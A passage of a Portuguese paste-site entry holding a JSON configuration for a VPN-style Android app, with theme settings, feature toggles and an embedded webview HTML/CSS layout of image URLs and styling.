Layout DT


SUBMITTED BY: terrorxdroid

DATE: March 27, 2024, 5:31 p.m.

UPDATED: Oct. 2, 2024, 8:18 p.m.

FORMAT: Text only

SIZE: 215.3 kB

HITS: 701

  1. [
  2. {
  3. "label": "Nome do app",
  4. "name": "APP_NAME",
  5. "value": null,
  6. "type": "STRING"
  7. },
  8. {
  9. "label": "Logo do app",
  10. "name": "APP_LOGO",
  11. "value": null,
  12. "type": "IMAGE"
  13. },
  14. {
  15. "label": "Imagem de fundo",
  16. "name": "APP_BACKGROUND_IMAGE",
  17. "value": null,
  18. "type": "IMAGE"
  19. },
  20. {
  21. "label": "Tipo do fundo do app",
  22. "name": "APP_BACKGROUND_TYPE",
  23. "value": {
  24. "options": [
  25. {
  26. "label": "Imagem",
  27. "value": "IMAGE"
  28. },
  29. {
  30. "label": "Cor",
  31. "value": "COLOR"
  32. }
  33. ],
  34. "selected": "IMAGE"
  35. },
  36. "type": "SELECT"
  37. },
  38. {
  39. "label": "Cor de fundo",
  40. "name": "APP_BACKGROUND_COLOR",
  41. "value": "#14142c",
  42. "type": "COLOR"
  43. },
  44. {
  45. "label": "Cor do card inicial",
  46. "name": "APP_CARD_COLOR",
  47. "value": "#16244700",
  48. "type": "COLOR"
  49. },
  50. {
  51. "label": "Raio do card inicial",
  52. "name": "APP_CARD_RADIUS",
  53. "value": 20,
  54. "type": "INTEGER"
  55. },
  56. {
  57. "label": "Cor do card de status",
  58. "name": "APP_CARD_STATUS_COLOR",
  59. "value": "#14152cff",
  60. "type": "COLOR"
  61. },
  62. {
  63. "label": "Raio do card de status",
  64. "name": "APP_CARD_STATUS_RADIUS",
  65. "value": 12,
  66. "type": "INTEGER"
  67. },
  68. {
  69. "label": "Cor do card de configurações",
  70. "name": "APP_CARD_CONFIG_COLOR",
  71. "value": "#14142c",
  72. "type": "COLOR"
  73. },
  74. {
  75. "label": "Cor do fundo dos dialogs",
  76. "name": "APP_DIALOG_BACKGROUND_COLOR",
  77. "value": "#14142c",
  78. "type": "COLOR"
  79. },
  80. {
  81. "label": "Cor do fundo do dialog de log",
  82. "name": "APP_DIALOG_LOGGER_COLOR",
  83. "value": "#14142c",
  84. "type": "COLOR"
  85. },
  86. {
  87. "label": "Cor das bordas",
  88. "name": "APP_BORDER_COLOR",
  89. "value": "#1210246b",
  90. "type": "COLOR"
  91. },
  92. {
  93. "label": "Cor dos inputs",
  94. "name": "APP_INPUT_COLOR",
  95. "value": "#1d242e00",
  96. "type": "COLOR"
  97. },
  98. {
  99. "label": "Raio dos inputs",
  100. "name": "APP_INPUT_RADIUS",
  101. "value": 17,
  102. "type": "INTEGER"
  103. },
  104. {
  105. "label": "Cor dos textos",
  106. "name": "APP_TEXT_COLOR",
  107. "value": "#b0a8ffff",
  108. "type": "COLOR"
  109. },
  110. {
  111. "label": "Cor dos botões",
  112. "name": "APP_BUTTON_COLOR",
  113. "value": "#1210246b",
  114. "type": "COLOR"
  115. },
  116. {
  117. "label": "Raio dos botões",
  118. "name": "APP_BUTTON_RADIUS",
  119. "value": 16,
  120. "type": "INTEGER"
  121. },
  122. {
  123. "label": "Cor dos icones",
  124. "name": "APP_ICON_COLOR",
  125. "value": "#9f9fffab",
  126. "type": "COLOR"
  127. },
  128. {
  129. "label": "Exibir modo de conexão",
  130. "name": "APP_SHOW_CONNECTION_MODE",
  131. "value": false,
  132. "type": "BOOLEAN"
  133. },
  134. {
  135. "label": "Atualizar automaticamente as configurações ao lançar uma atualização.",
  136. "name": "APP_CONFIG_AUTO_UPDATE",
  137. "value": false,
  138. "type": "BOOLEAN"
  139. },
  140. {
  141. "label": "Iniciar o app automaticamente ao reiniciar o dispositivo",
  142. "name": "APP_AUTO_START",
  143. "value": false,
  144. "type": "BOOLEAN"
  145. },
  146. {
  147. "label": "Usar limiter de conexão",
  148. "name": "APP_CONNECTION_LIMITER",
  149. "value": false,
  150. "type": "BOOLEAN"
  151. },
  152. {
  153. "label": "Usar botão de atualizações",
  154. "name": "APP_BTN_UPDATE_ENABLED",
  155. "value": false,
  156. "type": "BOOLEAN"
  157. },
  158. {
  159. "label": "Usar botão de registros",
  160. "name": "APP_BTN_LOGGER_ENABLED",
  161. "value": true,
  162. "type": "BOOLEAN"
  163. },
  164. {
  165. "label": "Usar botão de pagina webview",
  166. "name": "APP_BTN_PAGE_ENABLED",
  167. "value": true,
  168. "type": "BOOLEAN"
  169. },
  170. {
  171. "label": "Ativar dialog de erros",
  172. "name": "APP_DIALOG_ERROR_ENABLED",
  173. "value": true,
  174. "type": "BOOLEAN"
  175. },
  176. {
  177. "label": "Ativar dialog de checkuser",
  178. "name": "APP_CHECKUSER_DIALOG_ENABLED",
  179. "value": false,
  180. "type": "BOOLEAN"
  181. },
  182. {
  183. "label": "Ativar toast de sucesso",
  184. "name": "APP_SUCCESS_TOAST_ENABLED",
  185. "value": true,
  186. "type": "BOOLEAN"
  187. },
  188. {
  189. "label": "Ativar toast de erro",
  190. "name": "APP_ERROR_TOAST_ENABLED",
  191. "value": true,
  192. "type": "BOOLEAN"
  193. },
  194. {
  195. "label": "Usar layout webview",
  196. "name": "APP_LAYOUT_WEBVIEW_ENABLED",
  197. "value": true,
  198. "type": "BOOLEAN"
  199. },
  200. {
  201. "label": "Mensagem",
  202. "name": "APP_MESSAGE",
  203. "value": null,
  204. "type": "TEXT"
  205. },
  206. {
  207. "label": "URL de atualização do aplicativo",
  208. "name": "APP_UPDATE_URL",
  209. "value": null,
  210. "type": "URL"
  211. },
  212. {
  213. "label": "Tipo de mensagem",
  214. "name": "APP_MESSAGE_TYPE",
  215. "value": {
  216. "options": [
  217. {
  218. "label": "Alerta",
  219. "value": "ALERT"
  220. },
  221. {
  222. "label": "Informação",
  223. "value": "INFO"
  224. },
  225. {
  226. "label": "Boas vindas",
  227. "value": "WELCOME"
  228. },
  229. {
  230. "label": "Sem mensagem",
  231. "value": "NONE"
  232. }
  233. ],
  234. "selected": "WELCOME"
  235. },
  236. "type": "SELECT"
  237. },
  238. {
  239. "label": "LAYOUT WEBVIEW (POR SUA CONTA E RISCO)",
  240. "name": "APP_LAYOUT_WEBVIEW",
  241. "value": "<!DOCTYPE html>\n<html lang=\"pt-BR\">\n\n<head>\n <meta charset=\"UTF-8\" />\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\" />\n <link rel=\"stylesheet\" href=\"https://use.fontawesome.com/releases/v5.2.0/css/all.css\">\n <title>@aguiavpn</title>\n</head>\n\n<body>\n <div id=\"player-container\">\n <video id=\"player\" controls playsinline></video>\n </div>\n\n <!-- Lista de canais -->\n <div id=\"lista-canais\"></div>\n <div class=\"hidden\">\n <img src=\"https://static.displate.com/460x640/displate/2023-03-19/f426e229e71f6df95ce391632a99e4c8_7bdf7cc73c8d26b1d98f727cb9883d65.avif\">\n <img src=\"https://static.displate.com/460x640/displate/2023-03-21/613099f3a406ca953fbdc1e72e5fc45b_3bcb56222cc373108a56c57942b18194.avif\">\n <img src=\"https://static.displate.com/460x640/displate/2022-08-20/b0a4f21263f372fb1e940eba8ae389a8_7d6b4a2fa964b4a51380d7a37977c0a5.avif\"\n <img src=\"https://img.elo7.com.br/product/zoom/4B328D2/papel-de-parede-smartphone-lembrancinha-de-aniversario.jpg\">\n <img src=\"https://wallpapers.com/images/high/3d-phone-pink-petals-and-green-leaves-o9kpf7tvljbp2x90.webp\">\n <img src=\"https://images.pexels.com/photos/2884590/pexels-photo-2884590.jpeg?auto=compress&cs=tinysrgb&w=1260&h=750&dpr=2\">\n <img src=\"https://images.pexels.com/photos/6782587/pexels-photo-6782587.jpeg?auto=compress&cs=tinysrgb&w=1260&h=750&dpr=2\">\n <img src=\"https://images.pexels.com/photos/11940335/pexels-photo-11940335.png?auto=compress&cs=tinysrgb&w=1260&h=750&dpr=2\">\n <img src=\"https://images.pexels.com/photos/11940335/pexels-photo-11940335.png?auto=compress&cs=tinysrgb&w=1260&h=750&dpr=2\">\n <img src=\"https://cdn.pixabay.com/photo/2023/10/22/12/56/ai-generated-8333972_1280.jpg\">\n <img src=\"https://cdn.pixabay.com/photo/2023/04/11/08/06/ai-generated-7916414_1280.jpg\">\n <img src=\"https://cdn.pixabay.com/photo/2024/03/25/22/30/created-by-ai-8655578_1280.jpg\">\n <img src=\"https://cdn.pixabay.com/photo/2023/07/31/13/42/woman-8161029_1280.png\">\n<img src=\"https://image.civitai.com/xG1nkqKTMzGDvpLrqFT7WA/8e05e42c-0e29-4620-b12e-b51e1b9ad838/width=1224,quality=90/3453453453453454265-126884207-Silhouette_Art,_hyperrealistic_art_breathtaking_a_lineart_(vibrant_alcohol_ink_sketch)._[magnificent,_shiny,_intriguing_weirdnes.jpeg\">\n <img src=\"https://image.civitai.com/xG1nkqKTMzGDvpLrqFT7WA/fd1145fa-a530-47c1-8eba-2908c2ec2185/width=1248,quality=90/00068-97244255.jpeg\">\n <img src=\"https://image.civitai.com/xG1nkqKTMzGDvpLrqFT7WA/e9fff296-9b0b-48cb-8ad8-4a325fa5ffd2/width=720,quality=90/00763-2768947627-(masterpiece,%20top%20quality,%20best%20quality,%20official%20art,%20beautiful%20and%20aesthetic_1.2),extreme%20detailed,colorful,highest%20detailed,(.jpeg\">\n <img src=\"https://image.civitai.com/xG1nkqKTMzGDvpLrqFT7WA/768cf543-d0d2-4ee7-ac79-1a67812f29be/width=512,quality=90/2022501955-165950910-donml34fxl,%20wide%20shot%20of%20a%20medieval%20wizard%20tower%20in%20a%20detailed%20magical%20landscape,%20sunset%20in%20the%20back,%20masterpiece,%20intricate%20det.jpeg\">\n <img src=\"https://image.civitai.com/xG1nkqKTMzGDvpLrqFT7WA/c4b2b360-f3ad-44b2-b21f-f63a8ff17894/width=1024,quality=90/58449-3029170835-masterpiece,best%20quality,1girl,fractal%20art,realistic%20anime%20style,abstract%20art,colorful,highest%20detailed,.jpeg\">\n <img src=\"https://image.civitai.com/xG1nkqKTMzGDvpLrqFT7WA/49bf6eee-470c-4a31-8f18-2d8444c2273c/width=832,quality=90/8E46B4DC0402519CC7CDC5409605B7F9DDE4A7F057E9D35D38743090420574F5.jpeg\">\n <img src=\"https://image.civitai.com/xG1nkqKTMzGDvpLrqFT7WA/cc87907d-fb3b-43a2-847d-1d6c2d30d073/width=1024,quality=90/55689-1670543968-masterpiece,best%20quality,1girl,fractal%20art,stained%20glass%20art%20style,.jpeg\">\n <img src=\"https://image.civitai.com/xG1nkqKTMzGDvpLrqFT7WA/fb0f0c71-11b3-46a3-ade8-885743309015/width=832,quality=90/00147-3037835401.jpeg\">\n <img src=\"https://cdn.pixabay.com/photo/2024/03/26/07/23/created-by-ai-8656111_1280.jpg\">\n <img src=\"https://image.civitai.com/xG1nkqKTMzGDvpLrqFT7WA/abff389a-f7d0-4647-a9e4-8bb3345dcdc0/width=1664,quality=90/Up_FD%20-%206_20_2024%202_32_52%20PM.jpeg\">\n <img src=\"https://image.civitai.com/xG1nkqKTMzGDvpLrqFT7WA/28d2b9b0-5fc1-4b90-9f15-6ed660584f27/width=832,quality=90/422B5BC9EF0DD9B35976D226826C747A71A28765B9B3BD9851322E71B28E2EC3.jpeg\">\n <img src=\"https://image.civitai.com/xG1nkqKTMzGDvpLrqFT7WA/fd713ce6-bdf3-4395-beca-ae90660a1fae/width=856,quality=90/00044-3849066126.jpeg\">\n <img src=\"https://image.civitai.com/xG1nkqKTMzGDvpLrqFT7WA/55f901b1-4501-4f89-8d65-87f1da439da4/width=1664,quality=90/00212-4005459959-ad-before.jpeg\">\n <img src=\"https://image.civitai.com/xG1nkqKTMzGDvpLrqFT7WA/c413e347-6514-47eb-8004-f437915e6d2c/width=1040,quality=90/00665-379118439.jpeg\">\n <img src=\"https://image.civitai.com/xG1nkqKTMzGDvpLrqFT7WA/b4802f70-f75a-4cf8-903c-c47440585273/width=1080,quality=90/00302-2778267005.jpeg\">\n <img src=\"https://image.civitai.com/xG1nkqKTMzGDvpLrqFT7WA/4c0ccb9b-8426-4e33-b4fe-bbca293efc32/width=1440,quality=90/Mazz_Earth_1440.jpeg\">\n <img src=\"https://image.civitai.com/xG1nkqKTMzGDvpLrqFT7WA/0f1eb007-c386-4d9d-b28a-e67559cef39d/width=912,quality=90/ComfyUI_temp_sahfk_00005_.jpeg\">\n <img src=\"https://image.civitai.com/xG1nkqKTMzGDvpLrqFT7WA/967eace4-8560-422d-9e4d-3ba7f80800e3/width=824,quality=90/2024-06-21-235808.jpeg\">\n <img src=\"https://image.civitai.com/xG1nkqKTMzGDvpLrqFT7WA/f5e3c6cc-dd9f-48fa-8f3e-03fdf9f71af6/width=1248,quality=90/00058-2665350265.jpeg\">\n <img src=\"https://image.civitai.com/xG1nkqKTMzGDvpLrqFT7WA/a3912d50-7fad-4f2e-9e09-9b2bb3dc31ea/width=1408,quality=90/2024-04-04-135659_ponyDiffusionV6XL_v6StartWithThisOne_1836669320_euler_ancestral.karras.25_cfg7.0_USX_FD.jpeg\">\n <img src=\"https://image.civitai.com/xG1nkqKTMzGDvpLrqFT7WA/09ffe6c3-010f-463b-9477-a31ce5bd5ff8/width=1080,quality=90/02360-2881538660.jpeg\">\n <img src=\"https://image.civitai.com/xG1nkqKTMzGDvpLrqFT7WA/d75d64be-8435-42c6-916b-78936b5343d1/width=832,quality=90/AD21FC6EF8CEA981792AC415DF1A795DBD947ADEBAC3D252A21F6C7938A534FF.jpeg\">\n <img src=\"https://image.civitai.com/xG1nkqKTMzGDvpLrqFT7WA/d2b73475-7662-447e-acfc-0716a4760c0c/width=832,quality=90/17B1DDE84F850FEE3A96C96862FDA99CC1A12F4A76B2BB322DF2700924EFEB33.jpeg\">\n <img src=\"https://image.civitai.com/xG1nkqKTMzGDvpLrqFT7WA/41b32a07-d7c2-4e9d-bc5c-4dcccdcfb2b7/width=832,quality=90/045D7B0D9287D22F438C98AE587D4931887AE29C580C8072185B2B0D030F0B9F.jpeg\">\n <img src=\"https://cdn.pixabay.com/photo/2023/04/11/08/06/ai-generated-7916414_1280.jpghttps://cdn.pixabay.com/photo/2023/04/11/08/06/ai-generated-7916414_1280.jpg\">\n <img src=\"https://image.civitai.com/xG1nkqKTMzGDvpLrqFT7WA/2b473214-b448-40d7-86ac-bceb410e323c/width=768,quality=90/00030-2390106812-score_10,score_9,%20score_8_up,%20score_7_up,%20score_6_up,%20score_5_up,%20Silhouette%20Art%20portrait,%20breathtaking%20art%20drawing%20portrait,%20(b.jpeg\">\n <img src=\"https://image.civitai.com/xG1nkqKTMzGDvpLrqFT7WA/51411aa4-18d1-444a-981e-3f54ba07f1ed/width=1376,quality=90/3453453453453454821-3429932978-Silhouette_Art,_breathtaking_(_absurdres_divine_aesthetic__FaeTastic_extravaganza_alcohol_ink_sketch)._amazing,_fine,_detailed,_.jpeg\">\n<img src=\"https://image.civitai.com/xG1nkqKTMzGDvpLrqFT7WA/0f3b5454-af0f-4446-bc13-e05a4fa9ca59/width=1800,quality=90/00049-fluffy,%20no%20humans,%20pastel%20colors,%20iridescent%20hue,%20kawaii,%20ultra-detailed,%20masterpiece,%20extremely%20detailed%20CG%20unity%208k%20wallpaper,.jpeg\">\n <img src=\"https://image.civitai.com/xG1nkqKTMzGDvpLrqFT7WA/3a8941f5-8de2-42cb-b76e-3a3afbb9e5a2/width=1120,quality=90/00318-2286226195.jpeg\">\n <img src=\"https://image.civitai.com/xG1nkqKTMzGDvpLrqFT7WA/07d2eee9-2934-4203-b9cd-7a550cf9cbf3/width=832,quality=90/448CC49DA5300AF8B467D412665FA24D5ECDF44AF4BC48CF238F4EE77E6668F7.jpeg>\n <img src=\"https://image.civitai.com/xG1nkqKTMzGDvpLrqFT7WA/1342e961-6dd6-48f3-ab47-3245016cdb5d/width=1792,quality=90/UniversalUpscaler_fdb3f97c-1391-417c-9c70-50bd253e98eb.jpeg\">\n <img src=\"https://image.civitai.com/xG1nkqKTMzGDvpLrqFT7WA/6cc3cb2b-eeed-4431-b132-feb90aa396c2/width=1800,quality=90/3453453453453454409-1115469190-Silhouette_Art,_hyperrealistic_art_breathtaking_a_lineart_(vibrant_alcohol_ink_sketch)._[magnificent_faetastic_,_shiny,_intrigui.jpeg\">\n <img src=\"https://image.civitai.com/xG1nkqKTMzGDvpLrqFT7WA/7419e579-6547-4698-acb8-4afb86cae7e7/width=864,quality=90/00038-2258416661.jpeg\">\n <img src=\"https://image.civitai.com/xG1nkqKTMzGDvpLrqFT7WA/92927d61-a2c7-4d7c-94a3-7163e8ef33cf/width=1536,quality=90/00004-3361203181.jpeg\">\n <img src=\"https://image.civitai.com/xG1nkqKTMzGDvpLrqFT7WA/26151c70-987b-4819-a726-96b21b68a9ba/width=672,quality=90/image(86).jpeg\">\n <img src=\"https://image.civitai.com/xG1nkqKTMzGDvpLrqFT7WA/5c0fe151-0e03-4848-9dc8-308362afa2ac/width=856,quality=90/00098-276259150.jpeg\">\n <img src=\"https://image.civitai.com/xG1nkqKTMzGDvpLrqFT7WA/3a776f17-5d10-4c2b-bfb1-b231f8ffec6b/width=832,quality=90/7C0DA4269B90DD88E7D881366DB0CE31A3A8329E93E6456A0932F79B8C3E28F5.jpeg\">\n <img src=\"https://image.civitai.com/xG1nkqKTMzGDvpLrqFT7WA/78196a32-25bf-4dcf-9679-382d6f397eba/width=768,quality=90/,.Pixel%20Ashukay%2020_00238.jpeg\">\n <img src=\"https://image.civitai.com/xG1nkqKTMzGDvpLrqFT7WA/f4e0d5c5-d65c-4edc-860b-745e61030f46/width=1331,quality=90/ComfyUI_00456_.jpeg\">\n <img src=\"https://image.civitai.com/xG1nkqKTMzGDvpLrqFT7WA/f91e44f4-244f-4450-b5f5-ac64098281d8/width=1224,quality=90/3453453453453454687-3705378725-Silhouette_Art,_breathtaking,_(heartwarming_extravaganza_alcohol_ink_sketch)._dark_hues_of_red_and_glossy_gold_color_scheme.__lo.jpeg\">\n <img src=\"https://i.ibb.co/HD31d1P/IMG-20240804-WA0040.jpg\">\n <img src=\"https://i.ibb.co/NKs7k5m/IMG-20240804-WA0039.jpg\">\n <img src=\"https://i.ibb.co/zmyBVfH/IMG-20240804-WA0038.jpg\">\n <img src=\"https://i.ibb.co/R6ck5YF/IMG-20240804-WA0037.jpg\">\n <img src=\"https://i.ibb.co/c6cZq4M/IMG-20240804-WA0036.jpg\">\n <img src=\"https://i.ibb.co/m0drZMh/IMG-20240804-WA0035.jpg\">\n <img src=\"https://i.ibb.co/zHq3f4B/IMG-20240804-WA0032.jpg\">\n <img src=\"https://i.ibb.co/HVJzqGt/IMG-20240804-WA0034.jpg\">\n <img src=\"https://i.ibb.co/tCzH1q9/IMG-20240803-WA0042.jpg\">\n <img src=\"https://i.ibb.co/31VJ2Zd/IMG-20240803-WA0041.jpg\">\n <img src=\"https://i.ibb.co/YbmPzpm/IMG-20240803-WA0040.jpg\">\n <img src=\"https://i.ibb.co/Px3Td8m/IMG-20240803-WA0039.jpg\">\n <img src=\"https://i.ibb.co/KV5GMvt/IMG-20240803-WA0037.jpg\">\n<img src=\"https://i.ibb.co/tYvWr81/IMG-20240803-WA0038.jpg\">\n <img src=\"https://image.civitai.com/xG1nkqKTMzGDvpLrqFT7WA/264ed7b0-6c65-4a6b-8101-140c6edfc199/width=1200,quality=90/20240415_212256_2736396094_ponyDiffusionV6XL_v6StartWithThisOne.jpeg\">\n\n</div>\n\n \n</div>\n\n </div>\n </div>\n \n </div>\n\n <style>\nbody {\n transition: background-image 2s ease-in-out;\n}\n\n.hidden {\n display: none;\n}\n</style>\n\n<style>\n .gif-container {\n display: flex;\n justify-content: center;\n align-items: start;\n height: 20px;\n margin-top: 25px;\n z-index: 8;\n }\n .gif-container img {\n max-width: 30%; /* Altere para 30% se desejar manter o tamanho original em telas maiores */\n height: auto;\n }\n\n /* Media query para telas menores (por exemplo, celulares) */\n @media screen and (max-width: 480px) {\n .gif-container img {\n max-width: 30%;\n }\n }\n</style>\n\n <style>\n .modal {\n display: none;\n position: fixed;\n z-index: 9999;\n left: 0;\n top: 150px;\n width: 100%;\n height: 100%;\n overflow: auto;\n background-color: rgba(0,0,0,0.4);\n}\n\n.modal-content {\n background-color: #FFFFFF;\n margin: 15% auto;\n padding: 20px;\n border: 1px solid #888;\n width: 80%;\n height: 30%;\n border-radius: 30px;\n box-shadow: 0 4px 8px rgba(0,0,0,0.1);\n animation: fadeIn 0.3s;\n}\n#customAlert {\n display:none;\n background-color: #00BCD4; \n border: 1px solid #ccc; \n padding: 20px; \n border-radius: 30px; \n box-shadow: 0 2px 5px rgba(0, 0, 0, 0.3); \n position: fixed; \n top: 70%; \n left: 50%; \n transform: translate(-50%, -50%); \n z-index: 9999; \n max-width: 540px; \n width: 80%; \n height: 200px; \n overflow-wrap: break-word; /* Quebra de palavras */\n}\n#alertMessage {\n font-family: Arial, sans-serif; /* Fonte sem serifa */\n font-size: 14px; /* Tamanho da fonte */\n color: white;\n margin-bottom: 15px; /* Espaçamento abaixo da mensagem */\n white-space: pre-line; /* Quebra de linha para não cortar palavras */\n}\n\n#customAlert button {\n background-color: #4CAF50; /* Cor de fundo do botão */\n color: white; /* Cor do texto do botão */\n padding: 10px 15px; /* Padding do botão */\n border: none; /* Remove a borda do botão */\n border-radius: 30px; /* Arredondamento dos cantos do botão */\n cursor: pointer; /* Indicador de cursor */\n margin: 5px 0; /* Espaçamento entre os botões */\n transition: background-color 0.3s; /* Efeito de hover */\n}\n\n#contactButton {\n background-color: #25d366; /* Cor de fundo do botão */\n color: white; /* Cor do texto do botão */\n padding: 10px 15px; /* Padding do botão */\n border: none; /* Remove a borda do botão */\n border-radius: 5px; /* Arredondamento dos cantos do botão */\n cursor: pointer; /* Indicador de cursor */\n margin: 5px 0; /* Espaçamento entre os botões */\n transition: background-color 0.3s; /* Efeito de hover */\n position: fixed;\n bottom: 10px;\n left: 10px;\n}\n\n#contactButton:hover {\n background-color: #128c7e; /* Cor de fundo do botão no hover */\n}\n\n </style>\n \n<style>\n.container-menu {\n position: relative;\n padding: 10px;\n display: flex; /* Inicialmente oculto */\n transition: all 3s ease-in-out;\n}\n\n.container-menu::before {\n content: \"\";\n position: absolute;\n transition: all 3s ease-in-out;\n top: 0;\n left: 0;\n width: 100%;\n height: 100%;\n background: radial-gradient(circle, #26C6DA, #303F9F 85%, #BA68C8);\n animation: movimento 5s infinite; /* Animação para mover a linha para a esquerda e para a direita */\n}\n\n\n\nsection.container-menu {\n width: 100%;\n height: 10%;\n top: -30px;\n z-index: 999;\n display: flex;\n transition: all 3s ease-in-out;\n align-items: center;\n justify-content: center;\n gap: 10px;\n position: relative;\n margin: 21px 0px 0px 0px;\n padding: 0px 10px;\n}\n\n.\n\n.show-menu {\n position: absolute;\n background: radial-gradient(circle, #0bb1d3, #9f2fff 85%);\n opacity: 0.8; /* Adiciona transparência */\n color: white;\n padding: 10px 20px; /* Aumenta o tamanho do padding */\n z-index: 9;\n border: none;\n cursor: pointer;\n bottom: 70px;\n left: 50%;\n transform: translateX(-50%);\n display: flex;\n align-items: center;\n justify-content: center;\n gap: 10px;\n border-radius: 20px;\n}\n\n.show-menu:hover {\n background-color: rgba(11, 177, 211, 0.85); /* Cor azul com 85% de transparência ao passar o mouse */\n}\n</style>\n\n<style>\n #countdown {\n position: fixed;\n z-index: -1;\n top: 35px;\n right: 2px;\n font-size: 15px;\n color: #FDFF7F;\n background-color: transparent;\n padding: 10px;\n border-radius: 30px;\n box-shadow: 0 0 10px rgba(0, 0, 0, 0.5);\n }\n</style>\n \n \n\n \n<style>\n/* Estilos base */\nbody {\n overflow: hidden;\n}\n\n.canal {\n display: inline-block;\n text-align: center;\n margin: 10px;\n margin-left: 20px;\n}\n\n\n/* Estilos para o contêiner fixo do player */\n#player-container {\n position: fixed;\n top: 40px;\n left: 0;\n right: 0;\n z-index: 1000;\n display: none;\n}\n\n/* Estilos para o vídeo dentro do player */\n#player {\n width: 100vw;\n height: 56.25vw;\n max-height: 100vh;\n object-fit: cover;\n}\n\n/* Em tela cheia, ajusta o vídeo para cobrir toda a tela */\n:fullscreen #player {\n width: 100%;\n height: 100%;\n object-fit: cover;\n}\n\n/* Estilos para o contêiner da lista de canais */\n#lista-canais {\n margin-top: 260px;\n margin-bottom: 400px;\n position: absolute;\n top: 0;\n left: 0;\n right: 0;\n z-index: 999;\n background-color: black;\n opacity: 0.9;\n overflow-y: auto;\n max-height: calc(100% - 380px);\n border-bottom: 5px solid linear-gradient(to right, red, blue); /* linha gradient na borda de baixo */\n}\n\n/* Media queries para TV Android */\n@media screen and (min-width: 960px) and (min-height: 540px) {\n /* Estilos para o contêiner fixo do player */\n #player-container {\n position: fixed;\n top: 5px;\n left: 0;\n right: 0;\n z-index: 1000;\n display: none;\n }\n\n /* Estilos para o vídeo dentro do player */\n #player {\n width: 30%;\n height: 30%;\n }\n :fullscreen #player {\n width: 100%;\n height: 100%;\n object-fit: cover;\n}\n@media screen and (min-width: 2000px) {\n /* Estilos para o contêiner fixo do player */\n #player-container {\n position: fixed;\n top: 5px;\n left: 0;\n right: 0;\n z-index: 1000;\n display: none;\n }\n\n /* Estilos para o vídeo dentro do player */\n #player {\n width: 20%;\n height: 20%;\n }\n :fullscreen #player {\n width: 100%;\n height: 100%;\n object-fit: cover;\n}\n</style>\n\n<style>\n.nome-canal {\n display: block;\n margin-top: 5px;\n word-wrap: break-word;\n max-width: 100px;\n color: white; /* Adicionei a cor branca (como exemplo) */\n}\n.canal img {\n width: 100px;\n height: auto;\n cursor: pointer;\n}\n </style>\n\n <style>\n :root {\n font-family: Inter, system-ui, Avenir, Helvetica, Arial, sans-serif;\n line-height: 1.5;\n font-weight: 400;\n font-synthesis: none;\n text-rendering: optimizeLegibility;\n -webkit-font-smoothing: antialiased;\n -moz-osx-font-smoothing: grayscale;\n text-size-adjust: 100%;\n -webkit-text-size-adjust: 100%;\n\n --space-status-bar: 10px;\n --space-nav-bar: 33px;\n\n --default-background-color: linear-gradient(135deg,\n #9f2fff,\n #0bb1d3,\n #7f47cb,\n #00ffff,\n #7a2cec,\n #4adfdf,\n #76fcfc,\n #7f47cb,\n #9f2fff,\n #0bb1d3,\n #7f47cb,\n #00ffff,\n #7a2cec,\n #4adfdf);\n --connected-background-color: linear-gradient(135deg,\n #05b76d,\n #01ac66,\n #008e52,\n #30704b,\n #00ff00,\n #29ab87,\n #00a86b,\n #2e8b57,\n #3f7046,\n #3f7,\n #008e52,\n #30704b,\n #00ff00,\n #29ab87,\n #00a86b,\n #2e8b57,\n #3f7046,\n #3f7);\n --connecting-background-color: linear-gradient(135deg,\n #ffc823,\n #f4b007,\n #fff14a,\n #eaa700,\n #fc9200,\n #ffcb05,\n #feb308,\n #ecc218,\n #ffc823,\n #f4b007,\n #fff14a,\n #eaa700,\n #fc9200,\n #ffcb05,\n #feb308,\n #ecc218);\n --error-background-color: linear-gradient(135deg,\n #e20807,\n #d40000,\n #9a001a,\n #65100d,\n #e20807,\n #d40000,\n #9a001a,\n #65100d,\n #e20807,\n #d40000,\n #9a001a,\n #65100d,\n #000000,\n #ff0000,\n #9a001a,\n #e20807,\n #65100d);\n }\n /* Estilos padrão para #status */\n#status {\n font-size: 24px;\n text-align: center;\n padding: 20px;\n width: 200px;\n margin: 0 auto;\n border: 1px solid #000;\n}\n\n/* Media query para telas de celular */\n@media screen and (max-width: 480px) {\n #status {\n font-size: 18px; /* Tamanho de fonte menor para telas menores */\n padding: 10px; /* Espaçamento menor */\n width: 100%; /* Largura total */\n }\n}\n\n\n .disconnected {\n background: var(--default-background-color);\n }\n\n .connected {\n background: var(--connected-background-color);\n }\n\n .connecting {\n background: var(--connecting-background-color);\n }\n\n .error {\n background: var(--error-background-color);\n }\n\n @keyframes ButtonStartVpnAnimation {\n 0% {\n background-position: 0;\n }\n\n 100% {\n background-position: 300%;\n }\n }\n\n @keyframes spin {\n 0% {\n transform: rotate(0deg);\n }\n\n 100% {\n transform: rotate(360deg);\n }\n }\n\n *,\n *::after,\n *::before {\n margin: 0;\n padding: 0;\n box-sizing: border-box;\n }\n\n /* Estilos base */\nhtml, body {\n width: 100%;\n height: 100%;\n margin: 0;\n padding: 0;\n}\n\nbody {\n background: #00838F;\n padding-bottom: var(--space-nav-bar);\n}\n\nmain {\n width: auto;\n height: 89%;\n display: flex;\n position: relative;\n padding: 0;\n overflow: hidden;\n}\n\nsection.home {\n width: 100vw;\n min-width: 100%;\n height: 100%;\n display: flex;\n flex-direction: column;\n position: absolute;\n top: 0;\n left: 0;\n opacity: 0;\n transform: translateX(100%);\n transition: opacity 0.3s ease, transform 0.3s ease;\n overflow: hidden;\n}\n\nsection.home header {\n width: 100%;\n height: 20%;\n max-height: 135px;\n display: flex;\n align-items: center;\n justify-content: center;\n padding: var(--space-status-bar) 10px 0 10px;\n background-image: url();\n background-size: cover;\n background-position: center;\n background-repeat: no-repeat;\n}\n\nsection.home header img {\n width: 80%;\n}\n\nsection.container-carrier-selector-button {\n width: 100%;\n height: 10%;\n max-height: 60px;\n display: flex;\n z-index; 999;\n justify-content: center;\n align-items: center;\n margin: -10% 0 0 0;\n}\n\n/* Media queries para diferentes tamanhos de tela */\n\n/* Pequenos dispositivos (como smartphones em modo retrato) */\n@media screen and (max-width: 600px) {\n body {\n /* Exemplo: Altere a cor de fundo para azul */\n background-color: #00838F;\n }\n}\n\n/* Dispositivos médios (como tablets em modo retrato) */\n@media screen and (min-width: 601px) and (max-width: 1024px) {\n main {\n /* Exemplo: Reduza a altura do elemento principal */\n height: 70%;\n }\n}\n\n/* Grandes dispositivos (como tablets em modo paisagem ou desktops) */\n@media screen and (min-width: 1025px) {\n section.home {\n /* Exemplo: Aumente a opacidade e mova o elemento para a esquerda */\n opacity: 1;\n transform: translateX(0);\n }\n}\n\n\n section.container-carrier-selector-button button {\n width: 70%;\n height: 65%;\n\n 